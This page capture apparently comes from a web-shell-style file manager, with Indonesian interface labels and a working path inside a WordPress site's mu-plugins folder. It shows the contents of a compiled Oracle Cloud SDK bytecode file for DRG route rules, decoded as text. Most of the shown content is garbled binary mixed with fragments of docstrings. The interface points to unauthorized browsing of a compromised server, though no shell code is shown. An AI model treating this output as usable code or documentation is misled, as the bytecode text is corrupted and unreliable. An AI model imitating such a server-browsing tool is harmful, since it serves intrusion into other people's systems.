📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
oci
›
core
›
models
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/oci/core/models/__pycache__
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: drg_route_rule.cpython-39.pyc
a ���f�? � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s: e Zd ZdZdZdZdZdZdZdZ dZ dZd d � Ze dd� �Zejd d� �Ze dd� �Zejdd� �Ze dd� �Zejdd� �Ze dd� �Zejdd� �Ze dd� �Zejdd� �Ze dd� �Zejdd� �Ze dd� �Zejdd� �Ze d d!� �Zejd"d!� �Ze d#d$� �Zejd%d$� �Zd&d'� Zd(d)� Zd*d+� Zd,S )-�DrgRouteRuleaH A DRG route rule is a mapping between a destination IP address range and a DRG attachment. The map is used to route matching packets. Traffic will be routed across the attachments using Equal-cost multi-path routing (ECMP) if there are multiple rules with identical destinations and none of the rules conflict. � CIDR_BLOCK�SERVICE_CIDR_BLOCK�STATIC�DYNAMIC�VCN�VIRTUAL_CIRCUIT�IPSEC_TUNNELc K sn dddddddddd� | _ ddddd d ddd d� | _d| _d| _d| _d| _d| _d| _d| _d| _ d| _ dS )ac Initializes a new DrgRouteRule object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param destination: The value to assign to the destination property of this DrgRouteRule. :type destination: str :param destination_type: The value to assign to the destination_type property of this DrgRouteRule. Allowed values for this property are: "CIDR_BLOCK", "SERVICE_CIDR_BLOCK", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type destination_type: str :param next_hop_drg_attachment_id: The value to assign to the next_hop_drg_attachment_id property of this DrgRouteRule. :type next_hop_drg_attachment_id: str :param route_type: The value to assign to the route_type property of this DrgRouteRule. Allowed values for this property are: "STATIC", "DYNAMIC", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type route_type: str :param is_conflict: The value to assign to the is_conflict property of this DrgRouteRule. :type is_conflict: bool :param is_blackhole: The value to assign to the is_blackhole property of this DrgRouteRule. :type is_blackhole: bool :param id: The value to assign to the id property of this DrgRouteRule. :type id: str :param route_provenance: The value to assign to the route_provenance property of this DrgRouteRule. Allowed values for this property are: "STATIC", "VCN", "VIRTUAL_CIRCUIT", "IPSEC_TUNNEL", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type route_provenance: str :param attributes: The value to assign to the attributes property of this DrgRouteRule. :type attributes: object �str�bool�object) �destination�destination_type�next_hop_drg_attachment_id� route_type�is_conflict�is_blackhole�id�route_provenance� attributesr ZdestinationTypeZnextHopDrgAttachmentIdZ routeTypeZ isConflictZisBlackholer ZrouteProvenancer N)Z swagger_typesZ attribute_map�_destination�_destination_type�_next_hop_drg_attachment_id�_route_type�_is_conflict� _is_blackhole�_id�_route_provenance�_attributes)�self�kwargs� r% �B/usr/lib/python3.9/site-packages/oci/core/models/drg_route_rule.py�__init__4 s: 1� �zDrgRouteRule.__init__c C s | j S )a� **[Required]** Gets the destination of this DrgRouteRule. Represents the range of IP addresses to match against when routing traffic. Potential values: * An IP address range (IPv4 or IPv6) in CIDR notation. For example: `192.168.1.0/24` or `2001:0db8:0123:45::/56`. * When you're setting up a security rule for traffic destined for a particular `Service` through a service gateway, this is the `cidrBlock` value associated with that :class:`Service`. For example: `oci-phx-objectstorage`. :return: The destination of this DrgRouteRule. :rtype: str �r �r# r% r% r&